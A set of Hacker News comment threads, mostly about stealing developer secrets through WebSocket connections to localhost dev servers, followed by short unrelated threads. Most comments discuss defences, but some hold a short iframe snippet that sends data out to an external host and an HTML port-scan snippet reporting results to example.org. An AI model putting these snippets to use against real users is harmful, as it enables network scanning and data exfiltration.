Stealing secrets from developers using WebSockets - <AUTHOR> https://medium.com/@stestagg/stealing-secrets-from-developers-using-websockets-254f98d577a0 <comment><USER4> "In all seriousness, this attack vector is pretty slim. You've got to tempt unwitting users to visit your site, and to stay on it while they're developing JS code."

Wrap the exploit up in a blog post about Rust -- or an article about gut bacteria -- and submit it to Hackernews. Boom, a virtual feast of secrets.

<comment><USER5> Another idea: an online json editor

<comment><USER6> Are these not already phishing sites of some kind?

I used to have some co-workers who would dump json docs containing sensitive information into these sites all the time, and despite showing them how to format stuff in VS Code.

<comment><USER7> Wouldn't be hard to adapt this to be literally one of your VS Code extensions.

[https://github.com/microsoft/vscode-extension- samples/blob/m...](https://github.com/microsoft/vscode-extension- samples/blob/master/lsp-log-streaming-sample/client/src/extension.ts#L23-L26)

</comment></comment></comment></comment><comment><USER8> This is why you don't let @wongmjane inject code into websites. Imagine what features she'd learn about with tracebacks from developer machines! /s

In seriousness, this is all because websockets aren't bound by CORS, for good reason. [https://blog.securityevaluators.com/websockets-not-bound- by-...](https://blog.securityevaluators.com/websockets-not-bound-by-cors-does- this-mean-2e7819374acc)

There's a simple fix though - hot reload websocket listeners like Webpack should only consider the connection valid if they first receive a shared secret that's loaded into the initial dev bundle, which itself would never be transmitted over a websocket and could be set via CORS to not be accessible to non-whitelisted origins. It's a dead-simple protocol with no ongoing performance impacts. But understandable it hasn't been implemented yet.

<comment><USER9> > In seriousness, this is all because websockets aren't bound by CORS, for > good reason. [https://blog.securityevaluators.com/websockets-not-bound- > by-...](https://blog.securityevaluators.com/websockets-not-bound-by-cors- > does-this-mean-2e7819374acc)

As far as I can tell, that article only explains _that_ WebSockets aren't bound by CORS. It doesn't provide a reason (good or otherwise) _why_ WebSockets were designed that way. Personally, I consider that feature to be a design flaw. If WebSockets handshakes respected the Same-Origin-Policy and CORS headers the same way every other HTTP request on the web does, none of these vulnerabilities with poorly implemented WebSockets servers would exist today, as they would be secure by default rather than "insecure unless the server properly validates the origin header on every handshake".

Probably too late to do anything about that anymore though. Changing WebSockets to respect the Same Origin Policy now would break a ton of websites.

<comment><USER10> It's a function of the natural evolution of things.

The same origin policy was originally introduced with AJAX at a time when the vast majority of traffic was to the same origin. It wasn't a common pattern to make complex requests to a _different_ domain (barring GETs and FORM posts which were allowed).

Web development changed and it started to become more popular to make complex cross-domain requests, but the problem is they couldn't just throw out the SOP without introducing a massive security vulnerability to all existing sites. So instead CORS was introduced as an option to relax the SOP.

With websockets being completely different, it was an opportunity to "start over". They opted to embrace cross-domain communication and require developers implement security on top of it.

The `postMessage` API has done the same thing. Any window can `postMessage` to any other window -- it's fully up to the windows to validate the security of messages coming their way.

Some argue that it's a bad idea to make "allow by default" the new paradigm. Personally, it seems pretty clear to me that developers just don't understand CORS at all [0], and letting the developers handle this in their own logic, while being exceptionally clear about this in the documentation, is a far more developer friendly and simple (therefore more secure) approach.

[0]: [https://fosterelli.co/developers-dont-understand- cors](https://fosterelli.co/developers-dont-understand-cors)

<comment><USER9> Developers not understanding CORS is simply all the more reason why it's good that CORS defaults to secure behavior whenever possible. The harder you make it for ignorant developers to shoot themselves (and their users) in the foot, the better.

postMessage's API design has similar issues to WebSockets. MDN does a pretty good job of explaining the dangers (practically every other paragraph on the page for postMessage contains a warning in bold text about properly validating the origin argument), but I think it would have been far better if the API forced devs to explicitly specify which origins they want to receive events from up front rather than relying on them to check the origin themselves after the message is received. I have little doubt there will be numerous vulnerabilities instigated by the current API design, despite MDN's warnings.

<comment><USER10> > Developers not understanding CORS is simply all the more reason why it's > good that CORS defaults to secure behavior whenever possible. The harder you > make it for ignorant developers to shoot themselves (and their users) in the > foot, the better.

Right, but not understanding something doesn't mean it is more difficult to shoot yourself in the foot -- in fact it's the opposite. The zoom vulnerability is an example of this, or every developer that just imports `cors()` middleware and runs it because "otherwise it gives some CORS error".

I'd rather an approach that is simple to understand, gives flexibility to the developers, and makes it crystal clear to them what their responsibilities are.

<comment><USER9> I'm not trying to saying that CORS is harder to shoot yourself in the foot with _because_ it's hard to understand. Rather, it's harder to shoot yourself in the foot with because not understanding it usually just means your site's pages aren't accessible to other origins at all. (That's one reason why so many developers seem to have so much trouble with it; rather than breaking their site's security and remaining completely unaware of it, they instead break their site's functionality instead and need to spend a bunch of "extra" time learning about CORS and the same origin policy before they can get it to work.)

In contrast, not understanding WebSockets usually means your WebSocket endpoints are completely insecure, with no indication that anything is wrong and no incentive to learn more because "it's already working".

Obviously secure-by-default is not completely foolproof. After all, defaults are, by definition, possible to change. But if developers are going to shoot themselves in the foot, I'd much rather them be forced to do so explicitly than have it happen to them implicitly without any action on their part.

<comment><USER10> I see what you're saying and agree with the fundamentals. I think we disagree on this assumption:

> they instead break their site's functionality and need to spend a bunch of > "extra" time learning about CORS and the same origin policy before they can > get it to work

In my experience, a very large percentage of developers don't do this. They try that, then find it confusing, and they only estimated two days for this task, which is already late, so they just sort out enough to get it to work. For most cases, this is importing `cors()` and passing it in as middleware. The easiest config... and also the one that makes your site available to _all_ origins.

At the end of the day it will _always_ come down to developer education. Someone will make something easy to use. So we might as well make it _really_ simple to use and understand, so that it's easier to educate the right way to build things.

</comment></comment></comment></comment></comment></comment></comment><comment><USER11> Oh well. I ended up adding these rules to uBlock Origin, suggestions for improvement welcome:

        ||localhost^$important,third-party
        ||127.*^$important,third-party
        ||10.*^$important,third-party
        ||192.168.*^$important,third-party
        ||172.16.*^$important,third-party
        ||172.17.*^$important,third-party
        ||172.18.*^$important,third-party
        ||172.19.*^$important,third-party
        ||172.20.*^$important,third-party
        ||172.21.*^$important,third-party
        ||172.22.*^$important,third-party
        ||172.23.*^$important,third-party
        ||172.24.*^$important,third-party
        ||172.25.*^$important,third-party
        ||172.26.*^$important,third-party
        ||172.27.*^$important,third-party
        ||172.28.*^$important,third-party
        ||172.29.*^$important,third-party
        ||172.30.*^$important,third-party
        ||172.31.*^$important,third-party

<comment><USER12> That won't help if someone sets up public DNS to point to localhost or 127.0.0.1 though. Unless you check after DNS is resolved?

It's also possible someone might bind to an IPv6 address.

Better to rely on fixes mentioned elsewhere for web socket servers running on the local machine, including inserting a secret key into web socket path or query param, ensuring the web socket validates the path or query, and ensuring there are no web socket endpoints that could be used to get the secret from the websocket when not passed in. (Like an index of paths.) The Node debugger is mentioned elsewhere here as an example and cautionary tale.

Paranoid folks could maybe trick their everyday browser into never connecting to localhost via various means, and there's an argument that websockets deserve localhost third-party restrictions or prompts, but if I were an attacker, publishing a malicious package via the web is significantly easier and higher value. Also, websockets require JS so disabling JS is another workaround. But then the site could encourage you to enable it for other reasons...

<comment><USER11> Thanks, I was aware of the DNS rebinding possibility but not sure how to best protect against that. I'm also less worried about websockets and other things that I know are running on my machine, but more about all the other random devices floating around in my network.

What I really want is a way to block (by default) all connections to my local network from websites outside of my network, like a firewall.

It amazes me that browsers just allow this, this should require a permission prompt.

<comment><USER13> The best way to protect against DNS rebinding attacks is at the DNS server level on your local network.

[https://www.nlnetlabs.nl/documentation/unbound/unbound.conf/](https://www.nlnetlabs.nl/documentation/unbound/unbound.conf/)

the private-address directive and setting cache-min-ttl to a value of higher than 10 minutes or so both do a lot to neuter dns rebinding attacks.

Other DNS Resolvers have similar settings.

<comment> ju-st The DNS resolver/server is still resolving 127.0.0.0/8 and ::1 with these settings.

<comment><USER13> Not if you tell it otherwise.

</comment></comment></comment></comment></comment></comment><comment><USER14> Heads up to anyone who doesn't already know, uMatrix[0] can be set up to block websockets by default from 3rd-party and/or first-party domains. In the UI, websockets are grouped under the "xhr" column[1].

I'm a pretty big Javascript advocate, but I do recommend advanced users run uMatrix and consider disabling at least 3rd-party JS by default. uMatrix is a fantastic tool and it really doesn't take long to get used to. And honestly, a relatively large portion of the web works with only 1st party Javascript, and a surprising chunk of the web still works just fine with no Javascript at all.

This is also why I advise advanced users to run Firefox. uMatrix isn't available for Safari, and it's looking extremely likely that it'll be at least underpowered in Chrome once Manifest v3 comes out. Or I guess run Brave or Vivaldi or whatever. Dang kids running around with their hipster browsers, I can't keep track of them all.

The point is, even though I'm extremely bullish on the web as a secure application platform, part of the reason I'm bullish is because the web makes it relatively easy to take simple security measures like disabling scripts by default. You should absolutely take advantage of that, you should absolutely be disabling at least some Javascript features when you browse.

You can even globally turn off fingerprinting vectors like WebGL[2]/Canvas[3] in Firefox, and just swap to a different profile whenever you want to visit the rare game/app that requires them. Although with more and more people trying to embed their own DOM models in Canvas, maybe that'll be harder in the future.

[0]: [https://github.com/gorhill/uMatrix](https://github.com/gorhill/uMatrix)

[1]: [https://github.com/gorhill/uMatrix/wiki/The-popup- panel#the-...](https://github.com/gorhill/uMatrix/wiki/The-popup-panel#the- type-cells)

[2]: about:config -> `webgl.disabled` -> true

[3]: [https://bugzilla.mozilla.org/show_bug.cgi?id=967895](https://bugzilla.mozilla.org/show_bug.cgi?id=967895)

<comment><USER15> I really like uMatrix, but I don't want to spend my time tweaking every page I visit before I can use it, that's why I compromise with uBlock Origin. uMatrix is safer but impractical for most people.

I'd be happier if Firefox itself asked for permission before allowing web servers an websockets, but even this wouldn't be terribly helpful, as any authorized website (like agar.io) could then scan you.

<comment><USER16> I actually find uBlock superior in that it's easier to blacklist/whitelist _specific scripts_. E.g. you can more easily blacklist ad scripts while leaving relatively harmless 3rd-party scripts running like jQuery.

</comment></comment></comment><comment><USER17> Given the news this has made, I sure hope browser vendors don't overreact with blocking this too hard:

I genuinely have a use-case for this. We have an internal company wide business app, that works in any browser. The usual create-read-update-delete stuff, reports, factory forms etc.

With websockets we solve communication with local devices on the shopfloor - some computers have serial-port attached thermal printers, others have usb attached notification lights. We have small python scripts that listen for commands with websockets on 127.0.0.1 and control the printers and lights.

That way we can control each users local devices from the web app - <USER2> configuring internal firewalls or installing special browser add-ons (an in- house browser add-on is a bigger security risk, than a websocket on 127.0.0.1)

<comment><USER18> Not sure of the best implementation, but couldn't it be behind a permissions dialog like the ones users have to accept for webcam access or notifications?

</comment></comment><comment><USER19> I too like to hardcode my AWS secret keys in my frontend application

<comment><USER20> Admittedly the example was a bit fake :)

I /have/ put other secrets into frontend code before, strictly for small temporary projects where the cost of implementing secret management outweighs the size of the project. And obviously not in code that was anywhere close to being deployed outside my own box.

Unfortunately the method outlined in the article allows access to environments that would otherwise be considered trusted and not-accessible over the internet, hence the problem

<comment><USER21> You do realize that your evil server could in fact send something back to your exploit to ask it to send something back to the server it connected to right?

       evil-server
          (looks at data from client)
          (recognizes well known server app)
             (launches exploit!)

The first one that comes to mind is built in "package updaters" where the front end server has a well defined way of updating its packages. Have your evil server send it "get a new version of fetch_user_passwords from here..."

</comment></comment></comment><comment><USER22> Why the actual fuck will a browser allow traffic to localhost from anywhere else?

<comment><USER23> Because the web is supposed to be a web of multiple sites, built my multiple people, sharing a web of resources.

Localhost is just another site. If you want to make it secure, make it secure.

You realize that anybody on your coffeeshop wifi can also connect to your localhost server, don't you? Just because a server is running on your laptop doesn't mean it's not a server, running on the internet.

<comment><USER24> If you have bound the server to localhost and not all interfaces, then no, people on your coffeeshop wifi cannot connect.

</comment></comment></comment><comment><USER25> Node debug mode runs a websocket, but the address is something like ws://0.0.0.0:9229/1cda98c5-9ae8-4f9a-805a-f36d0a8cdbe8 - without the correct guid at the end, you can't open the websocket and communicate. You can only detect the port being open by timing.

<comment><USER26> This is true, although until recently it was possible to use DNS rebinding to get the list of guids!

I actually saw people leaving this enabled so much in shipping products, I wrote a little utility to test for it.

[https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)

<comment><USER25> Thanks that's really interesting, as I see from your reports you could call /json/list with rebinding to get the guid. For the past 2 years it now validates the Host header.

</comment></comment></comment><comment><USER27> And this is why you are supposed to check the origin and host headers before sending sensitive data to a web socket

<comment><USER28> Yeah, keep pimping these "mitigations" instead of a better security model that doesn't require everyone perfectly jumping through hoops. When you get fucked over by one of such security exploits it will be a great relief to know that it could have been prevented if only the software vendor did the right security voodoo dance (which gets more elaborate by the month).

Edit: can't wait for the usual replies with "what is your solution?"

The obvious flaw in modern web security is that the domain isolation model does not make any sense today. It's an outdated hack. Software communication should be done thorough something resembling actor model where code running locally is thought of as completely separate entity from the web server. It shouldn't have anything to do with domains. Communication from any actor to any other actor should be subject to the same security model, regardless of where their code was loaded from. Escalating privileges between actors should be a universal and well-established process with known guarantees, not a bloody mess of ad-hoc conventions, headers and "best practices" that change with every browser, app and year.

<comment><USER27> > The obvious flaw in modern web security is that the domain isolation model > does not make any sense today. It's an outdated hack. Software communication > should be done thorough something resembling actor model where code running > locally is thought of as completely separate entity from the web server. It > shouldn't have anything to do with domains. Communication from any actor to > any other actor should be subject to the same security model, regardless of > where their code was loaded from. Escalating privileges between actors > should be a universal and well-established process with known guarantees, > not a bloody mess of ad-hoc conventions, headers and "best practices" that > change with every browser, app and year.

How would that change anything? The flaw is the websocket was open to anyone (on the application layer. All security in the example was due to what ip addressess the websocket binded to on the network layer). If you replace the same origin policy with some other security policy, it wouldn't really make a difference, unless your web socket decided to use it, and in that case you might as well use the existing same origin policy.

If your real argument is that CORS/same origin policy/websocket security policy is inconsistently specified and has made some questionable specification decisions - sure i agree with you. But that has nothing to do with using origin as the security domain for websites

The fundamental flaw here is using the ip address and assumed sufficientness of only binding to 127.0.0.1 as a security measure without application level mitigation, not how browsers do network security

Edit: reflecting on this, i think i change my mind a bit. The fundamental problem isn't that the web security model is full of hacks, but that the websocket spec decided to ignore it and instead focus on the _socket_ (tcp connection) model of secirity. If you open a socket all the server has to authenticate is the ip address. Anyone can open a socket to anywhere, any orher authentication has to be taken from higher level protocol. In websockets, its mostly the same. Anyone can open to anywhere, and webserver just has ip address and origin to authenticate. Anything else should be done in higher level protocol. The problem is people see websocket and assume _WEB_ socket not web _SOCKET_.

</comment></comment></comment><comment><USER29> Is anybody keeping a list of potential security threats so browser vendors can check them off and the community can verify that they are correctly dealt with?

</comment><comment><USER30> I just tested an approach to deny access to WebSockets in the browser. This only applies if the JavaScript and the page comes from a location you both control and your goal is to limit access from third party scripts and you don't have access to the page's server to add a Content Security Policy (CSP) rule restricting web socket addresses/ports to specified rules.

TypeScript code:

        const sock:WebSocketLocal = (function local_socket():WebSocketLocal {
            // A minor security circumvention.
            const socket:WebSocketLocal = <WebSocketLocal>WebSocket;
            WebSocket = null;
            return socket;
        }());

TypeScript definitions (index.d.ts):

        interface WebSocketLocal extends WebSocket {
            new (address:string): WebSocket;
        }

If the 'sock' variable is not globally scoped it cannot be globally accessed. This means third party scripts must know the name of the variable and be able to access the scope where the variable is declared, because the global variable name "WebSockets" is reassigned to null and any attempts to access it will break those third party scripts.

<comment><USER31> this is trivially defeated by a script that enumerates globals looking for something that extends or implements WebSocket

<comment><USER32> The `sock` variable wouldn't be global in this case though, so there's nothing to look for.

However there are still so many different ways to defeat this (e.g. creating a web worker, creating a new window that handles the WebSocket and posting messages to it, etc.) that it's basically pointless to try.

<comment><USER30> If you are opening a new window you are pretty limited. Clearly you are alerting the user that you are spawning new tabs or forcing a new popup if you provide a width or height dimension to your window.open method. Yes, I am aware of the popunder by blurring the new window the moment its created, but that is still not very clever. Even still modern browsers block popups by default, so you have to convince the user to crawl into their browser settings and turn that off, which seems like a hard sell. Then the window.open allows you to specify an address, but not page contents. If you open the same address as the current page the global _WebSocket_ name is still null. You can open to a malicious location though, but that is a good way to get the primary domain blacklisted. You can open to _about:blank_ , which Firefox sends restricted messaging about, but you would have to inject code into that blank page.

Perhaps there are other ways to spawn new windows with greater access control that I am not aware and don't require access to the global _window_ object. The global _WebSocket_ is really _window.WebSocket_ so anything that is reliant upon the window object or inherited from the window object will continue to see that _window.WebSocket_ is null.

<comment><USER32> The window was just one example (obviously not the most optimal method), there are many other ways you could get around it.

My point is `WebSocket = null` won't stop someone who is already dedicated enough to inject a script onto your site to steal people's webpack hot reload error messages. Really a CSP with `connect-src` is the only way to fully prevent this.

Here's one very simple way to get around your method:

        WebSocket = null

        let el = document.createElement("iframe")
        document.body.append(el);

        let ws = new el.contentWindow.WebSocket("wss://echo.websocket.org")
        ws.onopen = () => ws.send("my exfiltrated data")

</comment></comment></comment></comment></comment><comment><USER33> This websockets thing is getting more interesting very fast. I wonder how long it'll be before someone finds something truly scary? This is the 3rd post this week, and each one has found a little bit more. Nothing that seems panic worthy yet. From this one:

"In all seriousness, this attack vector is pretty slim. You've got to tempt unwitting users to visit your site, and to stay on it while they're developing JS code."

<comment><USER34> This is one Show HN post away from an exploit in the wild

<comment><USER35> This issues isn't endemic to websockets. I've done this with iframes as well to portscan machines on my LAN. Additionally, the portscan capabilities are even worse than the article states: you can scan any machine reachable from the visitor's machine. Any 192.* address, anything behind your VPN, so long as the time for actively refusing the connection and failing to route are different. I don't know if you can time connections to known hosts to infer things about Tor circuits.

Simply call Date.now() when adding the iframe and when that iframe's onerror event fires then diff the two. I think you can do this with img tags, frames, and anything backed by a network call that lets you observe load failures.

CORS doesn't save you because you aren't trying to reach into that iframe and run Javascript or access the DOM. A CSP doesn't save you because the site you're visiting is opting to do this and can put whatever they want in their CSP.

<comment><USER35> POC

[https://jsfiddle.net/s9vzxctd/3/](https://jsfiddle.net/s9vzxctd/3/)

Tested in Firefox ESR on Linux. Anything with about 3000ms time isn't a routable network address. Anything with a significantly longer or shorter time responds to a ping on my network.

Timings vary from browser to browser.

NoScript does block the requests before they ever leave your browser, reminding me why I use it.

<comment><USER36> NoScript isn't sufficient to protect you from this.

Eg write a simple HTML file like

        <link rel="stylesheet" href="http://127.0.0.1:42">
        ok

If it takes different amounts of time for the page to stop loading and the text to appear depending on the port you checked, you're vulnerable to scans, even when Javascript is disabled.

<comment><USER37> If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.

<comment><USER36> Instead of merely printing 'ok', the page can request a resource from a server you control, eg via an <img> element.

You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested):

        <meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43">
        <link rel="stylesheet" href="http://127.0.0.1:42">
        <img src="http://example.org/?checked-port=42">

</comment></comment></comment></comment></comment></comment></comment><comment><USER38> I wonder if this could be used to grab more sensitive data from apps that support browser extensions (e.g. from password managers that use websockets to communicate with browser extensions).

</comment><comment><USER39> You're likely not even safe from this if you are using Chrome OS. It does sandbox the localhost web server [1] [2], but it does not restrict access to it from the host.

[1]: [https://youtu.be/pRlh8LX4kQI?t=954](https://youtu.be/pRlh8LX4kQI?t=954)

[2]: [https://chromium.googlesource.com/chromiumos/platform2/+/HEA...](https://chromium.googlesource.com/chromiumos/platform2/+/HEAD/vm_tools#chunnel)

</comment><comment><USER40> This is interesting, thanks for sharing. I wonder if a remediation for the moment would be for local websocket servers to check the Host header before sending the 101 switch protocol response. Also would a CORS "Access-Control- Allow-Origin: localhost" prevent the connections being established?

<comment><USER41> > Also would a CORS "Access-Control-Allow-Origin: localhost" prevent the > connections being established?

WebSocket isn't bound by CORS, AFAIK.

<comment><USER42> It is not subject to CORS, same as any regular img load isn't, but the browser will send an Origin header with websocket handshakes, which you're supposed to check server-side.

</comment></comment></comment><comment><USER43> I get the following output when trying this with Create React App running:

{"type":"error","data":"Invalid Host/Origin header"}

I don't think I changed any significant settings in CRA, this is pretty close to the default. Not sure what exactly determines whether this works or not.

<comment><USER20> Seems to be related to this: [https://github.com/webpack/webpack-dev- server/issues/1604](https://github.com/webpack/webpack-dev-server/issues/1604)

It's not clear (without a lot more digging) what impact the sockjs changes have on this issue.

</comment></comment><comment><USER44> The server didn't work for me, not sure if it's a traffic issue or what.

I have at least 3 create-react-app and one next app running. I even ran a quick websocket server on port 3000 just to see but nada.

<comment><USER20> I threw the code together last night. It's running on cloudflare backed by an S3 static file, so shouldn't be capacity issues

It was only tested on Firefox, as a basic proof-of-concept. AIUI, chrome et al offer similar functionality but maybe the API is different

It may also take a few minutes to find and connect to the websocket, I think CRA webserver maybe only binds to one client at a time, so maybe it would pick up the connection after a webpack-dev-server reload or two.

</comment></comment><comment><USER45> Interesting, history repeats. Didn't browsers implement firewalls a while ago to prevent arbitrary requests? Remember doing things like CSRF attacks on SMTP, POP (any text based protocol basically) and stuff like that long ago, but Firefox added mitigations to prevent connections to certain ports - <USER3> guess that browser Firewall feature can be used as mitigation to prevent these attacks.

</comment><comment><USER46> Forget port scanning for a sec. Couldn't you just scan the whole local network for common vulnerabilities, like any old virus would?

<comment><USER25> You can only make a websockets request. The javascript call will fail if either the port is closed, or the port is open but doesn't act like a websockets server. So you can tell if a port is open by the time it takes for the connection to fail. If it's actually a websockets server you hit, then you might get a useable bidirectional communication channel to it.

<comment><USER42> I can still attack your local non-http-servers with a regular <form> post, e.g. something like [http://bugs.proftpd.org/show_bug.cgi?id=4143](http://bugs.proftpd.org/show_bug.cgi?id=4143)

With Websockets something like this is effectively not possible, because WebSockets were designed with this in mind

\- A browser will only start transmitting data over the ws once the handshake is done. So just making a request has very limited ways for an attacker to transmit user defined data (basically the Host header/Origin header and cookies... which will not really work as an attack vector for newline- delimited or binary protocols)

\- The handshake itself works by the client sending a nonce to the server which the server then has to hash together with a special uuid. Only actual websocket servers know how to do this step correctly, and thus the browser will refuse to even open connections to servers which aren't actual websocket servers. So the attacker will not be able to send truly arbitrary data or read any responses.

\- Even after the handshake, browser-to-server data is masked by XORing the data with browser-picked keys. The attacker therefore cannot control what the data will end up looking like when it is sent to the server. And unaware servers will certainly not try to reverse the XORing.

What you're left with regarding websockets are timing attacks to do some port and network scanning, and attacking actual websocket servers, which do not check the Origin or use some kind of token to verify incoming connections, analog to attack-able regular http endpoints that do not do auth and csrf tokens properly.

I'll readily admit tho, that a lot of developers forget about verifying incoming websocket connections. I have fucked this up myself in the past, and I have found such issues in other websites, including one problem that let me take over user accounts via an unsecured websocket if I was able to get such users to open an attack website (or ad).

</comment></comment></comment><comment><USER47> > browsers allow websockets from public origins to open websockets connections > to localhost without many protections

Excuse me, but what in the world? XHR has all kinds of cross-site request protections that even make developing apps locally a pain. How come websockets don't come with such protections?

Are there apps that take over this responsibility?

</comment><comment><USER48> It strikes me that this is most likely to be used as part of an exfiltration mechanism for a malicious JS package or similar.

</comment><comment><USER49> I'm assuming this can be mitigated by using SSL/TLS. Have a read over at [https://crossbar.io/docs/Secure-WebSocket-and- HTTPS/](https://crossbar.io/docs/Secure-WebSocket-and-HTTPS/) \- Not sure how you would do certificate pinning though.

<comment><USER50> I don't see what WSS would do to stop the local websockets dev server from serving a remote client. A remote client could just accept the connection without verifying the signature, yes?

<comment><USER49> That's why I mentioned certificate pinning. I figure you could generate a keypair for WSS communications between the _nice_ programs and then when a _nice_ client tried to connect to a _naughty_ server he would know he had connected to a different host program.

</comment></comment></comment><comment><USER51> Can't you use CSRF to protect against this?

[https://dev.solita.fi/2018/11/07/securing-websocket- endpoint...](https://dev.solita.fi/2018/11/07/securing-websocket- endpoints.html)

</comment><comment><USER52> If you use uBlock Origin, you can prevent any connections to localhost by default.

<comment><USER53> interesting, but I do not get it:

"you can", or is it blocked by default?

</comment></comment><comment><USER54> It's worth noting that secrets rarely live in front-end code, specifically because it's impossible to prevent people from extracting them.

</comment><comment><USER55> Are there any extensions to block connections to localhost from code on other interfaces or origins?

<comment><USER53> I was wondering the same: I would be interested in an extension that tells me when a website try to connect to localhost (it should not be hard). Then, once I know it, I would just react myself, as in the cited [https://nullsweep.com/why-is-this-website-port-scanning- me/](https://nullsweep.com/why-is-this-website-port-scanning-me/)

</comment></comment><comment><USER56> After ~10 minutes I get: "Connected to 0 servers"

Ahh, feels so good

</comment><comment><USER57> when I disable websocket with network.websocket.max-connections = 0, then whatsappweb doesn't work, so perhaps someone can develop a related attack here?

</comment><comment><USER50> Is webpack-dev-server planning on fixing this?

</comment><comment><USER58> This is why you use VMs with their own network interfaces to do development in

</comment><comment><USER59> Is the TL;DR here just "webpack-dev server doesn't verify Origin headers for hot reloading?"

Is there a whole group of people that are just learning about Websockets for the first time?</comment>


Scientists poke frozen mammoth, liquid blood squirts out - <AUTHOR> http://www.wired.co.uk/news/archive/2013-05/29/mammoth-blood

<comment><USER2> Ewww. Interesting, but weird to think of 10K year old blood. This guy, Semyon Grigoriev, is somewhat obsessed with Mammoths so I take his reports with a grain of salt but it would be difficult to mistranslate 'blood coming out'

</comment><comment><USER3> _The temperature was ten degrees celsius below zero when the mammoth was found, so the discovery of liquid blood was a shock._

That's a very weird way to express temperature. Is it a British-ism?

<comment><USER4> See <http://en.wikipedia.org/wiki/Metric_system>

<comment><USER5> He means, why not just say "minus 10 celsius". Or in print -10c

<comment><USER4> The SI unit is "degree Celsius", the original statement looks perfectly good English to me.

<comment><USER6> The SI unit for temperature is kelvin.

<comment><USER7> Kelvin and Celsius are the same, modulo a shift.</comment></comment></comment></comment></comment></comment>


Wink: a free tool that you can use to create your demo in flash (Linux + Windows) - <AUTHOR> http://www.debugmode.com/wink <comment><AUTHOR> BTW are there any restrictions on the use of flash for commercial purposes such as demos? Do I need to pay anything?

The FAQ is confusing in that regard:

 _Can I use the File Format Specification to create a Flash Video encoder or a Flash Video streaming service?

No, the File Format Specification is provided for the specific purpose of enabling software applications to export to the Macromedia Flash File Format (SWF)._

<http://www.adobe.com/licensing/developer/fileformat/faq/#item-1-9>

<comment><USER2> They say it's free for business or personal use. That exerpt from the FAQ seems to be about making a derivative program for making SWFs.

<comment><AUTHOR> But that's what this program is.</comment></comment></comment>


Why is my submition 'dead'? - <AUTHOR> Hi, I just tried to submit a new post from a blog about PDF internal objects - but it was immediately dead.
Can someone please explain why and how this became dead? Is it because I'm a just registered user?
Here is the post in case anyone can or will unkill it: https://news.ycombinator.com/item?id=17489959
Thanks a lot! <comment><USER2> I have to guess, ..., but in 2016 you submitted too many articles of the same site. For example "How to Create a PDF from Multiple Scanned Pages in Your C# Code" was submitted at least 5 times and other articles of the same site had also too many resubmissions. So I guess that the mods banned you and the site.

The linked article looks as a new article. Try contacting the mods firstname.lastname@example.com and ask nicely, and try to not resubmit too much.</comment>


What Product Companies Can Learn From Consulting Companies - <AUTHOR> https://training.kalzumeus.com/newsletters/archive/products_vs_services

<comment><USER2> _(I loved phrasing this as "You could certainly have your engineering team do this, if you want to write a $10,000 payroll check with the memo 'Reading free information on the Internet'.")_

This is probably one of the best arguments for niche specialization that you'll find. Say you're a Ruby developer, but you know a lot about CPA, ARPU, LTV, churn, and other terms SaaS types care a lot about.

Yes, you might cost significantly more per week than a peer Ruby developer who might be employed by a prospective client of yours, but the cost of getting that employee's knowledge to around where yours is outweighs the difference.

Additionally, clients want to lower the risk that a project will fail (note: this doesn't mean _technically_ fail, as in the code doesn't work.) By "leveling up" in a niche specialty, you'll lower the risk that you'll fail when a project in that niche comes your way. (Clients also have a tendency to reach deeper into their pockets when the risk of failure is lower.)

<comment><USER3> Beware that some companies calculate the cost of existing employees at zero. If someone else is paying the employee, but you come out of their budget. Find out how the money flows.

<comment><USER4> Then you are talking to someone too low down the tree.

The person who signs the cheques as big as you want them to be will be the person with P&L for employees and contractors Possibly across IT and marketing or accounts or ...

</comment></comment></comment><comment><USER5> The general recommendation is to be both following a hybrid approach. Read for example "Business Models That Last: Balancing Products and Services in Software and Other Industries (2003)" [http://ebusiness.mit.edu/research/papers/197_Cusumano_ProdSr...](http://ebusiness.mit.edu/research/papers/197_Cusumano_ProdSrvcsBusMod.pdf)

It can be a little bit outdated but the main points remain the same.

I experienced it first hand: We realized that the "energy" to spend in selling USD 100K/yr on a specific product is one or two orders of magnitude of selling a service using/embedding that product. And there are cases where there is a dilemma and products can eat your service profits.

<comment><USER6> Thanks for that recommendation. I'm going to sit down with that paper and have time to digest it in detail, since it seems like likely the most relevant-to- my-interests link I've seen on HN this month.

</comment></comment><comment><USER7> Wow. The writing here is concise, and easy to understand. Just a few paragraphs in I realized I've been doing my consulting wrong (which makes the hopeful transition to a products & services company even more challenging).

In terms of benefit-per-sentence, this is right up there with the best books on business I've ever read.

<comment><USER6> Thanks, that is one of the best compliments I've ever gotten for my writing. (Since I tend to write 4,000 words at a time, my biggest worry is always that I'm fluffing up one good idea into excessive length. I aspire to always covering something in enough meaty depth to justify the length, not to have the length pre-fixed and need to pad to hit my quota.)

<comment><USER7> The impact of the writing -- the frequency with which I read something and it made me sit back and go, "hmm" \-- is comparable to Rules for Revolutionaries, still my favorite book on business.

I don't give out enthusiastic compliments easily.

Seriously, if you enjoy doing this, you might consider turning it into a book. With your writing style, your domain expertise, and your marketing acumen, you'd probably make a mint.

</comment></comment></comment><comment><USER8> Excellent article. I've worked in product companies ranging from startups to the top 5 over the years, and also spent a few years in consulting organizations so I can really appreciate the insights here. Product companies (in general) create cost centres while consulting companies are profit centers. So the attitude toward cash flow is quite different. Consulting companies tend to "invest" their money while product companies tend to "spend". What else, product people tend to take their time to build things that they feel the customers will need, instead of building exactly what the customers need. Sense of urgency is a trait that a product company can learn from the consulting business. Consultants work with customers directly and they always possess domain knowledge learnt from experience while product people rely on research to pick up a subset of the knowledge. Imagine the power of a large product organization that can run more like a consulting organization!

</comment><comment><USER9> I wish I had something more to say, but this is phenomenally good. It may be the most genuinely informative and well-written piece I've seen on HN in months, for the startup crowd.

</comment><comment><USER10> _" Actually call them and ask how they're doing"_

I'm amazed at the number of product companies that don't do this. Or stop doing it as soon as they think they've found product/market fit.

If I had to pick between A/B testing and talking to my customers (and it would, of course, be dumb to pick only one of those options) I'd pick talking to my customers without hesitation.

A/B testing let's me optimise. Talking let's me discover my customers' problems.

<comment><USER11> On the other hand, I am incredibly annoyed when hosting companies give me personal phone calls to ask how I'm doing or tell me about their new service. There's probably a middleground but I just don't really like talking to salespeople.

